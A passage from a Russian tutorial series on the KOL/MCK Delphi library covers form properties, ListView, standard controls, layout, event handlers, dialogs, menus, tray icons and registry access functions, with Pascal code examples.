| Border | Размер бордюра окна. Расстояние между краем окна и объектами интерфейса лежащими на нем. |
| BorderStyle | Стиль окна. Полный аналог VCL. |
| Bounds | Указывает на размер окна и его положение. |
| Brush | Параметры кисти. Можно указать фоновый рисунок или цвет формы. |
| CanResize | Разрешает(true) или запрещает(false) менять размеры окна. |
| Caption | Заголовок окна. |
| CenterOnScreen | Указывает что окно при появление будет находится посредине экрана. |
| CloseIcon | Указывает будет ли у окна кнопка закрытия (в верхнем правом углу) |
| Color | Цвет окна |
| Cursor | Курсор окна |
| Font | Шрифт формы |
| FormMain | Указывает что форма главная. |
| FormName | Указывается имя формы которое используется в коде при обращение к ней. |
| FormUnit | Указывает модуль в котором находится код для данного окна. |
| HasBordur | Указывает будет ли бордюр у окна |
| HasCaption | Указывает будет ли заголовок у окна |
| HelpContext | Идентификатор экрана контекстно-зависимой справки |
| MarginBottom | Указывает отступ снизу от края окна до объектов интерфейса на форме. |
| MarginLeft | Указывает отступ слева от края окна до объектов интерфейса на форме. |
| MarginRight | Указывает отступ справа от края окна до объектов интерфейса на форме. |
| MarginTop | Указывает отступ сверху от края окна до объектов интерфейса на форме. |
| MaxHeight | Максимальная высота формы на которую можно ее развернуть. |
| maximizeIcon | Указывает будет ли у окна кнопка "Свернуть в окно/Развернуть" (в верхнем правом углу) |
| MaxWidth | Максимальная ширина формы на которую можно ее развернуть. |
| MinHeight | Минимальная высота формы на которую можно ее уменьшить. |
| minimizeIcon | Указывает будет ли у окна кнопка "свернуть" (в верхнем правом углу) |
| MinWidth | Минимальная ширина формы на которую можно ее уменьшить. |
| popupMenu | Контекстное меню (PopupMenu) для формы. |
| StatusSizeGrip | Если true то у StаtusВаr'а будет справа "ярлычок" для изменения размера формы. |
| SatusText | Текст в StаtusВаr'е (панели состояния). |
| StayOnTop | Окно всегда находится сверху |
| TabulateEx | Разрешает переход фокуса по нажатию клавиш TAB или SHIFT+TAB |
| WindowsState | Указывает какой должна быть форма во время запуска (минимизированной, распахнутой, как во время создания) |
Урок 16 - TKOLListView.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
TKOLListView
Как и следует из названия это аналог TListView из VCL. Может быть 5-ти видов. За это отвечает свойство LVStyle (на панели задач Style).
| lvsIcon | Список в виде больших иконок и надписей снизу. |
| lvsSmallIcon | Список в виде маленьких иконок и надписей снизу. |
| lvsList | Обычный списко. Если есть иконки то они слева. |
| lvsDetai | Таблица с заголовком сверху. |
| lvsDetailNoHeader | Таблица без заголовка. |
Для того что бы указать иконку надо бросить на форму TKOLImageList
. Два раза кликнуть по нему и указать нужное изображение. Затем надо указать этот ImageList у TKOLListView изменить свойства ImageListNormal, ImageListSmall или ImageListSate.
Предположим что у нас есть гипотетический ListView (объект класса TKOLListView) Для того что бы добавить пункт в список надо обратится к LVItemAdd.
ListView.LVItemAdd('Значение')
Но если у вашего ListView установлен стиль lvsDetai то через LVItemAdd вы сможете добавить текст только в первый столбец. Для того что бы добавить данные в остальные столбцы обратитесь к LVItems.
ListView.LVItems[i, j] := 'значение';
I - строка j - столбец i и j нумеруется с нуля. Разумеется перед тем как обращаться к этому j-му столбцу неплохо бы его создать. Для этого надо обратится к свойсву Columns или просто щелкнуть по объекту два раза. Появится диалог в котором все и настраивается.
Для того что бы узнать номер пункта выбранного пользователем надо обратится к CurIndex. А зная его вы сможите узнать и текст который написан в этом пункте:
ListView.LVItems[ListView.CurIndex, 0];
(если у вас стиль lvsDetai то 0 должен меняться на соответствующий номер столбца).
У TKOLListView есть свойство Options через которое указываются различные параметры для его настройки. Самые интересные (по моему мнению) ниже в таблице.
| lvoAutoArrange | Автоматически располагает иконки по всей поверхности ListView при изменение его размера (при Style =lvsIcon). |
| lvoEditLabel | Можно редактировать надпись в списке |
| lvoHideSel | Не один пункт нельзя выделить |
| lvoGridLines | В режиме lvsDetai показываются разделительные линии таблицы. |
| lvoCheckBoxes | Добавляет к каждому пункту флажок. |
| lvoRowSelect | В режиме lvsDetai выделяется вся строка в таблице (а не только первая ячейка). |
| lvoMultiselect | Есть возможность выделять несколько пунктов |
Пару слов про lvoCheckBoxes. Благодяры ему вы сможете с легкостью сделать из TKOLListView аналог VCL TCheckListBox. Для того чтобы проверить установлен ли флажок на определенном пункте(или установить его) надо обратится к LVItemStateImgIdx.
ListView.LVItemStateImgIdx[i] := j
J - может принимать два значения: 1 - нет галочки ; 2 - галочка установлена. i - это номер пункта. Если i равно -1 тогда идет обращение ко всем пунктам.
Таким образом для того что бы снять все галочки надо написать следующую строку:
ListView.LVItemStateImgIdx[-1] := 1
К сожелению если вам надо например проверить выделены ли все пункты в списке то строка.
if ListView.LVItemStateImgIdx[-1] = 1 then...
Результата не даст. Тут надо переберать все пункты. Для того чтобы узнать количество пунктов надо обратится к LVCount. Если у вас стиль равен lvsDetai то количество столбцов узнается через LVColCount.
Если у вас в опциях присутствует lvoMultiselect вы сможете выделить несколько пунктов. Для того чтобы узнать номера первого выделенного пункта нам надо обратится к CurIndex. После чего обращаясь к LVNextSelected можно перебрать все пункты. Если больше нет выделенных пунктов LVNextSelected возвращает -1. Пример перебора:
var
i, j: Integer;
begin
i := ListView.LVCurItem;
if ListView.LVSelCount > 0 then
repeat
MsgOK('Выделеный пункт №' + Int2Str(i));
j := ListView.LVNextSelected(i);
i := j;
until j < 0;
...
LVSelCount - количество выделенных пунктов.
Краткая справка по свойствам TKOLListView.
| LVItemAdd | Добавить запись |
| LVItems | Обратится к записи |
| CurIndex | Номер выделено записи |
| LVItemStateImgIdx | Проверка флажка |
| LVCount | Количество записей |
| LVColCount | Количество столбцов при стиле lvsDetai |
| LVNextSelected | Следующий выделенный пункт |
| LVSelCount | количество выделенных пунктов. |
Урок 2 - Наша первая кнопка или основные элементы интерфейса.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
У многих визуальных объектов существуют следующие параметры в конструкторе: AParameter - родительский объект контрола Сарtiоn - надпись на объекте. Их мы описывать не будем :-] Если говорить про свойства, то тут еще проще. Большинство этих объектов имеют такие же свойства, как и их братья из VCL.
Button
Кнопка она и в Африке кнопка :). Аналог TButton в VCL.
function NewButton( AParent: PControl; const Caption: String):PControl;
Параметр Style может иметь следующие флаги:
| Флаг | Описание |
| bs_center | центрирует текст кнопки |
| bs_left | помещает текст кнопки в левой части ограничивающего прямоугольника |
| bs_right | помещает текст кнопки в правой части ограничивающего прямоугольника |
| bs_top | помещает текст кнопки в верхней части ограничивающего прямоугольника |
| bs_vcenter | помещает текст кнопки в центральной (по вертикали) части ограничивающего прямоугольника |
| bs_multiline | приносит текст на другую строчку, если он не помещается на кнопке в ширину |
Несколько свойств позволяющих обойтись без жонглирования стилями.
LikeSpeedButton - кнопка становится по свойствам похожа на TSpeedButton из VCL.
Свойство TextAlign: TTextAlign - указывает расположение текста на кнопке. Может принимать следующие значения :type TTextAlign =( taLeft, taRight, taCenter );
По умолчанию taCenter.
BitBtn.
Кнопка не принимающая фокуса (почти полный аналог VCL SpeedButton).
function NewBitBtn(AParent: PControl; const Caption: String; Options: TBitBtnOptions; Layout: TGlyphLayout; GlyphBitmap: HBitmap; GlyphCount: Integer ): PControl;
Options:
bboImageList - используется ImageList bboNoBorder - без всякой окантовки bboNoCaption - кнопка без надписи bboFixed - фиксированное положениеLayout отвечает за то где будет находится рисунок на кнопке:
glyphLeft - слева glyphTop - сверху glyphRight - справа glyphBottom - снизу glyphOver - посерединеPanel.
Аналог контрола TPanel из Delphi. На него (как и на форму), можно "насаживать" другие визуальные элементы.
function NewPanel(AParent: PControl; EdgeStyle: TEdgeStyle): PControl;
EdgeStyle - стиль панели. Может иметь следующие значения:
esRaised - Обычная панель. Вогнутая наружу ( как на рисунке). esLowered - Вогнута внутрь esNone - Контуры панели никак не показываютсяGroupBox.
NewGroup ,как можно догадаться и по названию, аналог Delphi-компонента TNewGroup. GroupBox является родительским объектом, также как и Panel.
function NewGroupbox(AParent: PControl; const: String): PControl;
Label.
Пару слов про объекты, функции которых в Delphi выполняет класс TLabel. В KOL 2 обьекта- это Label и WordWrapLabel. Чем они отличаются друг от друга ? В отличие от Label , WordWrapLabel производит перенос текста,написанного на нем, на другую строку. В общем это все отличие.
function NewLabel(AParent: PControl; const Caption: String): PControl; function NewWordWrapLabel( AParent: PControl; const Caption: String ): PControl;
CheckBox и RadioBox.
RadioBox CheckBox.
Аналоги VCL-классов TCheckBox и TRadioBox. Проверка, выбран ли этот компонент, также осуществляется через свойство Checked.
function NewCheckbox(AParent: PControl; const Caption: String ): PControl; function NewRadiobox(AParent: PControl; const Caption: String ): PControl;
EditBox.
Аналог TEdit. Для того, чтобы получить текст введенный пользователем, надо обратится к свойству Text.
function NewEditbox(AParent: PControl; Options: TEditOptions ): PControl;
Параметр Options может состоять из следующих значений:
eoNoHScroll - нет горизонтальной прокрутки eoNoVScroll - нет вертикальной прокрутки eoLowerCase - строчные (маленькие) буквы eoMultiline - многострочный eoNoHideSel - выбранный текст подсвечивается, даже если поле не имеет фокуса eoOemConvert - eoPassword - все вводимые символы отображаются при помощи одного символа. По умолчанию этим символом служит звездочка eoReadOnly - только для чтения eoUpperCase - прописные (большие) буквы eoWantReturn - заставляет Windows переводить строку, когда пользователь нажимает «Enter» eoWantTab - перевод фокуса когда пользователь нажимает «Tab»RichEdit.
Предназначен для редактирования многострочного текста.
function NewRichEdit(AParent: PControl; Options: TEditOptions): PControl;
Параметры Options аналогичны EditBox.
Чтобы загрузить текст используйте функцию:
function RE_LoadFromFile( const Filename: String; Format: TRETextFormat;
SelectionOnly: Boolean ): Boolean;
Сохранить:
function RE_SaveToFile( const Filename: String; Format: TRETextFormat; SelectionOnly: Boolean ): Boolean;Filename - путь до файла Format - формат текста:
ReRTF - нормальный RTF reText - только текст (без OLE обектов) reTextized - простой текст с объектами OLE rePlainRTF - reRTF без языковых-специфических ключевых слов reRTFNoObjs - reRTF без объектов OLE rePlainRTFNoObjs - rePlainRTF без объектов OLE.
ListBox.
Аналог TListBox из VCL. Свойства в общем то те же (почти :-) .
function NewListbox(AParent: PControl; Options: TListOptions ): PControl;
Параметр Options может состоять из следующих значений :
loNoHideScroll - добавляет прокрутку вверх-вниз loNoExtendSel - выделяет сразу первый пункт loMultiColumn - loMultiSelect - автоматическое выделять несколько строк loNoIntegralHeight - loNoSel - нет выделения строк (только "окантовка") loSort - список сортируется loTabStops - не реагирует на TabНекоторые свойства:
| Свойство | Описание |
| Items[idx:index]:string | Обращение к строке под индексом idx |
| CurIndex :integer | Индекс текущей строки |
| Count :integer | Всего строк |
| Add(s:string):integer | Добавляет в список строку |
| Insert(idx:integer;s:string) | Вставка в список в позицию idx строки s |
| Delete(idx:integer) | Удаление строки с индексом idx |
| Clear | Очистка списка |
ComboBox.
ComboBoxАналог TComboBox.
function NewCombobox(AParent: PControl; Options: TComboOptions): PControl;
Options могут быть следующие:
coReadOnly - только для чтения coNoHScroll - текст не прокручивается по горизонтали coAlwaysVScroll - при "выпадении", комбобокс всегда имеет вертикальную прокрутку coLowerCase - маленькими буквами coNoIntegralHeight - coOemConvert - coSort - список сортируется coUpperCase -заглавные буквыМногие свойства схожи со свойствами ListBox.
ProgressBar.
Аналог TProgressBar из VCL.
function NewProgressbar(AParent: PControl): PControl; function NewProgressbarEx(AParent: PControl; Options: TProgressbarOptions): PControl;
NewProgressBarEx -это расширенный прогрессбар. Его Options могут принимать следующие значения:
pboVertical - Полоска бежит не слева на права, а снизу в верх pboSmooth - Полоска не в виде квадратиков, а сплошной линиейОсновные свойства этих элементов: MaxProgress - максимальный диапазон "бегунка" Progress - текущее положение.
Урок 3 - Чтоб все было опрятно или расположение обьектов на форме.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Обсудим свойства отвечающие за расположение объектов на форме.
Свойства Width и Height отвечают за длину и высоту соответственно. Если вам надо поменять одновременно длину и высоту можно воспользоваться SetSize(w,h:integer). Бывают случаи, что объект может выходить за пределы своего родительского объекта, тогда можно воспользоваться свойством Size(w,h:integer). Оно устанавливает размер родительского объекта, таким же, как и самого объекта. Например:
var Form, Button: PControl; begin Form := NewForm(Applet, 'Пример'); Button := NewButton(form, 'Кнопка').Size (120, 50); Run(Form); end.
Приведет к следующему результату.

CenterOnParent - размещает объект посередине родительского. Для изменения размера родительского объекта по контуру объекта, применяют также свойства ResizeParent (по правой и нижней стороне объекта), ResizeParentRight (по правой стороне), ResizeParentBottom (по нижней).
Таким образом REdit.Size(120,50) имеет такой же результат как совместное действие строк: REdit.SetSize(120,50) ; REdit.ResizeParent;
В VCL у некоторых объектов есть свойство Align. Его аналоги в KOL это Align:TControlAlign и SetAlign(AAlign:TControlAlign). TControlAlign может принимать следующие значения: caNone, caLeft, caTop, caRight, caBottom, caClient
В KOL также есть группа свойств, которые описывают положение объекта относительно объекта который был создан первым. PlaceRight (справа относительно первого), PlaceDown (снизу), PlaceUnder (абсолютно под первым объектом) На рис.1 (PlaceDown) и рис.2 (PlaceUnder) показана разница между этими свойствами:
var Form, cont, cont1: PControl; ... form := NewForm(Applet,'Пример'); form.SetSize(130, 140); cont := NewPanel(form, esRaised).Shift(20, 0).SetSize(50, 50); cont1 := NewPanel(form, esRaised).SetSize(50, 50); cont1.PlaceDown; // на этом месте может быть и cont1.PlaceUnder
|
|
| рис.1(PlaceDown) | рис.2(PlaceUnder) |
Перемещать объект на форме можно обращаясь к свойствам Left и Top (отступ от левого - верхнего угла в лево и вниз соответственно). Чтобы изменить одновременно эти свойства, надо воспользоваться свойством Shift(dX,dY:integer).
И так подведем итог:
| Свойство | Описание |
| SetSize или Size | устанавливает длину и высоту объекта |
| ResizeParent | Изменение размера родительского объекта относительно объекта |
| ResizeParentRight | Изменение размера родительского объекта относительно объекта по вертикали |
| ResizeParentBottom | Изменение размера родительского объекта относительно объекта по горизонтали |
| CenterOnParent | Размещение объекта посредине родительского объекта |
| Align и SetAlign | "Разлив" (выравнивание) объекта относительно родительского |
| Shift | устанавливают положение объекта на форме |
| PlaceRight | справа - положение объекта относительно созданного первым . |
| PlaceDown и PlaceUnder | снизу - положение объекта относительно созданного первым . |
Урок 4 - Hello World или Обработка событий в KOL.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Конечно кнопки и панели на форме - это хорошо, но они должны реагировать на действия совершаемые пользователем. Этим мы и займемся. Смысл "обработки" действий такой же как и в VCL. К определенному действию над объектом, "привязывают" процедуры, которые и совершают полезную работу. Привязка идет через свойства, названия которых начинаются на OnXXXXXX: OnClick,OnResize,OnMouseDblClk,OnClose... Это довольно привычно.
Через эти свойства вы и должны сделать указатель с помощью функции MakeMethod на процедуру (или функцию если дело касается Message), которая будет обрабатывать событие. В параметрах у процедур должны быть определенные данные. В таблице показаны, какие должны быть заголовки процедур при определенных типах событий (конечно здесь описаны не все события).
| Тип события | Пример заголовка процедуры, обрабатывающего это событие |
| TOnEvent | Procedure NameProc ( Dummy : Pointer; Sender : PControl ); |
| TOnEventAccept | Procedure NameProc ( Sender: PObj; var Accept: Boolean ); |
| TOnMouse | Procedure NameProc( Sender: PControl; var Mouse: TMouseEventData ); |
| TOnKey | Procedure NameProc( Sender: PControl; var Key: Longint; Shift: DWORD ); |
| TOnChar | Procedure NameProc( Sender: PControl; var Key: Char; Shift: DWORD ); |
| TOnMenuItem | Procedure NameProc( Sender : PMenu; Item : Integer ); |
| TOnMessage | Function NameFunc( var Msg: TMsg; var Rslt: Integer ): Boolean; |
Например:
procedure ButtonDn( Sender: PControl; var Mouse: TMouseEventData ); begin // обработка end; ... Button := NewButton(Form, 'Кнопка'); // указываем на процедуру ButtonDn обрабатывающую событие OnMouseDown // имеющее тип TOnMouse: Button.OnMouseDown := TOnMouse( MakeMethod( nil, @ButtonDn ) );
Исходя из полученных знаний, давайте напишем программу, выводящую сообщение ( например: Hello World !!! ) при каком нибудь действии.
procedure ClikButton( Dummy : Pointer; Sender: PControl ); begin MsgOK( 'Hello World!!!' ); end; var form, button: PControl; begin form := NewForm( Applet, 'Пример' ); button := NewButton( form, 'Hello !!!' ).Size(150, 50); button.OnClick := TOnEvent(MakeMethod( nil, @ClikButton )); run(form); end.Процедура MsgOk - это аналог VCL процедуры ShowMessage.
Урок 5 - Стандартные диалоги.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
В основе диалогов лежат совсем другие объекты, чем PControl (для каждого свой). KOL предлагает для работы 3 вида диалога.
| Обьект | Диалог |
| POpenSaveDialog | открыть или сохранить файл |
| POpenDirDialog | выбрать директорию |
| PColorDialog | выбрать цвет. |
Их конструкторы:
NewOpenSaveDialog( const Title, StrtDir: String; Options: TOpenSaveOptions ): POpenSaveDialog;
Title - заголовок диалога StrDir - начальная директория для работы.
В Options может быть следующее:
OSCreatePrompt - При выборе имени не существующего файла панель запросит, нужно ли создать файл. OSExtensionDiffent - OSFileMustExist - Предупреждать при вводе имени не существующего файла. OSHideReadonly - Скрыть кнопку "Только чтение" OSNoChangedir - Поиск файлов начинать в первоначально заданном каталоге OSNoReferenceLinks - OSAllowMultiSelect - OSNoNetworkButton - Скрыть и отключить кнопку Network OSNoReadonlyReturn - Запретить выбор файла с атрибутом "только чтение" и в защищенном от записи каталоге OSOverwritePrompt - При сохранении файла предупреждать, если файл с указанным именем уже существует OSPathMustExist -Можно вводить только существующее полное имя файла OSReadonly - Включить кнопку "Только чтение"Для диалога открытия файла (Open File), надо свойство OpenDialog установить в true, и соответственно для диалога сохранения файла OpenDialog := false. В остальном, этот диалог идентичен своему VCL аналогу.
NewOpenDirDialog( const Title: String; Options: TOpenDirOptions ): POpenDirDialog;
Title - заголовок диалога.
В Options может быть следующее:
odBrowseForComputer - odBrowseForPrinter - odDontGoBelowDomain - odOnlyFileSystemAncestors - odOnlySystemDirs - odStatusTextВыбранный путь можно узнать через свойство Path.
NewColorDialog( FullOpen: TColorCustomOption ): PColorDialog;
В FullOpen следующее:
ccoFullOpen - кроме базовой палитры показывается и дополнительная ccoShortOpen - сначала показывается только базовая палитра но доступна и дополнительная ccoPreventFullOpen - доступна только базовая палитра цветовПример: небольшой и мало функциональный, но текстовый редактор ;-).
program Primer;
uses
Windows,
messages,
KOL;
{$R *.RES}
var
form,
PanTools,
REdit,
butOpen,
butSave : PControl;
procedure clikButOpenSave(Dummy : Pointer; Sender : PControl);
var
Dialog : POpenSaveDialog;
title : string;
begin
if sender = butOpen then //определяем что за кнопка
begin
Dialog.title := 'Открыть';
Dialog.OpenDialog := TRUE;
REdit.Clear;
end
else
begin
Dialog.title := 'Сохранить как...';
Dialog.OpenDialog := FALSE;
end;
if Dialog.Execute then
if sender = butOpen then
REdit.RE_LoadFromFile(Dialog.Filename, reText, false)
else
REdit.RE_SaveToFile(Dialog.Filename, reText,false);
form.StatusText[0] := PChar(Dialog.Filename);
end;
begin
form := NewForm(Applet, 'Редактор');
Dialog := NewOpenSaveDialog(title, '',[]) ;
panTools := NewPanel(form, esRaised).SetAlign(caTop);
panTools.Height := 35;
REdit := NewRichEdit(form, []).SetAlign(caClient);
butOpen := NewButton(panTools, 'Open').SetSize(50, 25);
butSave := NewButton(panTools, 'Save as').SetSize(60, 25).PlaceRight;
butOpen.OnClick := TOnEvent(MakeMethod(nil, @clikButOpenSave));
butSave.OnClick := TOnEvent(MakeMethod(nil, @clikButOpenSave));
run( form );
end.
На экране результат будет примерно следующий: 
Урок 6 - Меню - как много в этом слове.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Почти в любой программе есть меню. И у нас оно тоже будет. Меню создается на объектах типа pMenu.
function NewMenu( AParent: PControl; FirstCmd: Integer; const Template: array of PChar; aOnMenuItem: TOnMenuItem ): PMenu;
В AParent вы указываете к чему будет принадлежать меню. Если вы указали форму, то для нее это будет главное меню.
Template - это массив, состоящий из пунктов меню. В этих пунктах могут встречаться специальные символы. Вот их список:
| Символ | Значение |
| & | подчеркивает следующий символ |
| + | галочка в меню |
| - | разделитель между пунктами меню |
| ( | начало подменю |
| ) | конец подменю |
Через aOnMenuItem указывается процедура, обрабатывающая выбранный пункт меню.
Описание некоторых свойств меню.
| Свойство | Описание |
| ItemChecked[idx:integer]:boolean | Ставит/убирает галочку на пункт меню с индексом idx |
| RadioCheck(idx:integer) | Ставит радио-галочку на один из пунктов меню |
| Popup(x,y:integer); | Вызывает меню на экран в позиции x,y |
| ItemText[idx:integer]:string | Текст пункта меню с индексом idx |
| ItemEnabled[idx:integer]:boolean | Включает/выключает пункт меню с индексом idx |
| ItemVisible[idx:integer]:boolean | Показывать/не показывать пункт меню с индексом idx |
Давайте добавим в наш редактор пару пунктов меню:
program Primer;
uses
Windows,
messages,
KOL;
{$R *.RES}
var
Form,
PanTools,
REdit,
butOpen,
butSave : PControl;
mainMenu : pMenu;
Dialog : pOpenSaveDialog;
procedure clikButOpenSave( Dummy : Pointer; Sender : PControl );
var
title : string;
begin
if sender = butOpen then
begin
Dialog.title := 'Открыть';
Dialog.OpenDialog := TRUE;
REdit.Clear;
end
else
begin
Dialog.title := 'Сохранить как...';
Dialog.OpenDialog := FALSE;
end;
if Dialog.Execute then
if sender = butOpen then
REdit.RE_LoadFromFile(Dialog.Filename, reText, false)
else
REdit.RE_SaveToFile(Dialog.Filename, reText, false);
form.StatusText[0] := PChar(Dialog.Filename);
end;
procedure ProcessingMenu ( Dummy : Pointer; Sender : pMenu; Item : Integer );
//обработка пунктов меню
begin
case Item of
1: begin {NEW}
REdit.Clear;
form.StatusText[0] := '';
end;
2: clikButOpenSave(nil, butOpen); {Open}
3: clikButOpenSave(nil, butSave); {Save As}
4: Applet.Close; {Exit}
end;{case}
end;
begin
form := NewForm( Applet, 'Редактор' );
panTools := NewPanel( Form, esRaised ).SetAlign( caTop );
panTools.Height := 35 ;
REdit := NewRichEdit( Form, [] ).SetAlign(caClient);
butOpen := NewButton( panTools, 'Open' ).SetSize(50, 25);
butSave := NewButton( panTools, 'Save as' ).SetSize(60, 25).PlaceRight;
Dialog := NewOpenSaveDialog( '', '', [] );
mainMenu := NewMenu(Form, 0,
[
'File',
'(',
'New',
'Open',
'Save As..',
'-',
'&Exit',
')'
],
TOnMenuItem( MakeMethod( nil, @ProcessingMenu ))
);
butOpen.OnClick := TOnEvent( MakeMethod( nil, @clikButOpenSave ));
butSave.OnClick := TOnEvent( MakeMethod( nil, @clikButOpenSave ));
Run( Form );
end.
Результат:

Урок 7 - Программа в трее с легкостью.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Часто можно услышать вопрос : как сделать так, чтобы программа была видна и в трее (рядом с часами) ? Конечно и на VCL это возможно сделать, но в KOL это реализуется очень просто. Для этого у него есть объект TTrayIcon. Воспользовавшись им, вы получите маленькую программу (а не VCL-монстра) с иконкой в трее.
function NewTrayIcon( AParent: PControl; Icon: HIcon): PTrayIcon;
Icon - это иконка, которая будет у нас грузится из ресурса созданного например с помощь Image Editor, или BRCC32.EXE, ну или другой утилиты (я очень рекомендую Resource Builder). Скомпонованный файл с расширением .res помещаем в каталог с нашей программой. В тексте программы должно быть прописано, что программа компилируется вместе с ресурсами: {$R *.res} . Сама иконка грузится из ресурса через API ф-цию LoadIcon.
| Function LoadIcon(Instance: THandle; IconName: PChar): HIcon; Загружает поименнованный ресурс пиктограммы. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит пиктограмму или 0 для предопределенной пиктограммы. IconName: Строка или имя целочисленного идентификатора или предопределенная пиктограмма, определенная одной из констант idi_. Возвращаемое значение: В случае успешного завершения - идентификатор пиктограммы; 0 - в противном случае. Функция находится в файле user32.dll . |
Также для значка в трее мы должны создать Applet. Совсем не обязательно чтобы этот Applet был родительским объектом окна.
Лучше тысячи слов может быть наглядней только пример. Напишем утилиту облегчающую программирование на KOL.
programm KOLProcedure;
uses
Windows,
Messages,
Kol;
{$R *.RES}
var
frmMain,
Panel: pControl;
Tray: pTrayIcon;
Menu: pMenu;
//////////////////////////////////////////////////////////
procedure DoTrayMouse(Dummy: Pointer; Sender: TObject; Message: Word);
var
P: TPoint;
begin
if Message = WM_LBUTTONUP then
begin
GetCursorPos(P); // узнаем позицию курсора
Menu.PopUp(P.X,P.Y); // выводим в этой позиции меню
end;
end;
//////////////////////////////////////////////////////////
procedure DoWorkMenu(Dummy: Pointer; Sender: pMenu; Item: Integer);
begin
case Item of
0: Text2Clipboard('Procedure NameProc ( Dummy : Pointer; Sender: PControl );') ;
1: Text2Clipboard('Procedure NameProc ( Sender: PObj; var Accept: Boolean );') ;
2: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Mouse: TMouseEventData );') ;
3: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Key: Longint; Shift: DWORD );') ;
4: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Key: Char; Shift: DWORD );') ;
5: Text2Clipboard('Procedure NameProc ( Sender : PMenu; Item :Integer );') ;
6: Text2Clipboard('Function NameFunc ( var Msg: TMsg; var Rslt:Integer ): Boolean;') ;
7: Applet.Close;
8: MsgOK('8');
end; {case}
end;
//////////////////////////////////////////////////////////
begin
Applet := NewApplet('KOL Procedure');
frmMain := NewForm(nil, 'KOL Procedure');
frmMain.Icon := LoadIcon(hInstance, 'MainIco');
frmMain.Hide; // прячем главное окно
Panel := NewPanel(frmMain, esNone);
Menu := NewMenu(Panel, 0,
[ 'TOnEvent',
'TOnEventAccept',
'TOnEventAccept',
'TOnKey',
'TOnChar',
'TOnMenuItem',
'TOnMessage',
'-',
'Exit' ],
TOnMenuItem( MakeMethod( nil, @DoWorkMenu ))
);
Tray := NewTrayIcon(Panel, frmMain.Icon); // иконка в трее - аналог иконки на форме
Tray.OnMouse := TOnTrayIconMouse( Makemethod( nil, @DoTrayMouse ));
Run(frmMain);
end.
Урок 8 - Работа с реестром.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Сейчас уже стало стандартом, что настройки программы, важные (да и не очень) параметры храняться в реестре Windows. По этой причине и в KOL существует поддержка работы с реестром. Нельзя сказать, что эти инструменты такие же мощные, как и TRegister в VCL, но необходимый минимум найдется.
Работа с регистром в KOL построена с помощью функций. Их список я привожу в таблице с кратким описанием (хотя человек знакомый с TRegister поймет их и так).
| Функция | Выполняемое действие |
| Функции для работы с ключами. | |
| RegKeyOpenCreate. | Создание ключа и его открытие. |
| Function RegKeyOpenCreate( Key: HKey; const SubKey: String ): HKey; | |
| RegKeyOpenRead. | Открытие ключа для чтения. |
| Function RegKeyOpenRead( Key: HKey; const SubKey: String ): HKey; | |
| RegKeyOpenWrite. | Открытие ключа для записи. |
| Function RegKeyOpenWrite( Key: HKey; const SubKey: String ): HKey; | |
| RegKeyClose. | Закрытие ключа регистра ранее открытого с помощью RegKeyOpenRead или RegKeyOpenWrite. |
| Procedure RegKeyClose( Key: HKey ); | |
| RegKeyDelete. | Удаление ключа регистра. |
| Function RegKeyDelete( Key: HKey; const SubKey: String ): Boolean; | |
| RegKeyExists. | Возвращение true, если "подключ" (SubKey) существует в данном ключе (Key). |
| Function RegKeyExists( Key: HKey; const SubKey: String ): Boolean; | |
| RegKeyGetSubKeys. | Возвращение в List список всех "подключей"(ниже лежащих ключей) для ключа Key. |
| Function RegKeyGetSubKeys( const Key: HKEY; List: PStrList ): Boolean; | |
| Функции для работы с переменными | |
| RegKeyDeleteValue. | Удаление из ключа Key переменной с именем Value. |
| Function RegKeyDeleteValue( Key: HKey; const Value: String ): Boolean; | |
| RegKeyValExists. | Возвращение TRUE, если параметр ValueName существует в ключе Key. |
| Function RegKeyValExists( Key: HKey; const ValueName: String ): Boolean; | |
| RegKeyValueSize. | Возвращает размер переменной(ValueName). Для переменных типа строка (string) возвращаемое значение равно длине строки + 1 (нулевой символ). |
| Function RegKeyValueSize( Key: HKey; const ValueName: String ): Integer; | |
| RegKeyGetValueNames. | Возвращает список всех имен переменных находящихся в ключе Key. |
| Function RegKeyGetValueNames( const Key: HKEY; List: PStrList ): Boolean; | |
| RegKeyGetValueTyp. | Возвращает тип переменной под именем ValueName. Возвращаемое значение может быть следующие : REG_BINARY , REG_DWORD, REG_DWORD_LITTLE_ENDIAN, REG_DWORD_BIG_ENDIAN, REG_EXPAND_SZ, REG_LINK , REG_MULTI_SZ, REG_NONE, REG_RESOURCE_LIST, REG_SZ. |
| Function RegKeyGetValueTyp( const Key: HKEY; const ValueName: String ): DWORD; | |
| Функции для работы с переменными DWORD | |
| RegKeyGetDw. | Чтение из ключа данных типа DWORD. Если чтение не успешно, то возвращение 0. |
| Function RegKeyGetDw( Key: HKey; const ValueName: String ): DWORD; | |
| RegKeySetDw. | Запись в ключ данных типа DWORD. |
| Function RegKeySetDw( Key: HKey; const ValueName: String; Value: DWORD ): Boolean; | |
| Функции для работы с переменными STRING | |
| RegKeyGetStr. | Чтение из ключа данных типа String. Если чтение не успешно, то возвращение пустой строки. |
| Function RegKeyGetStr( Key: HKey; const ValueName: String ): String; | |
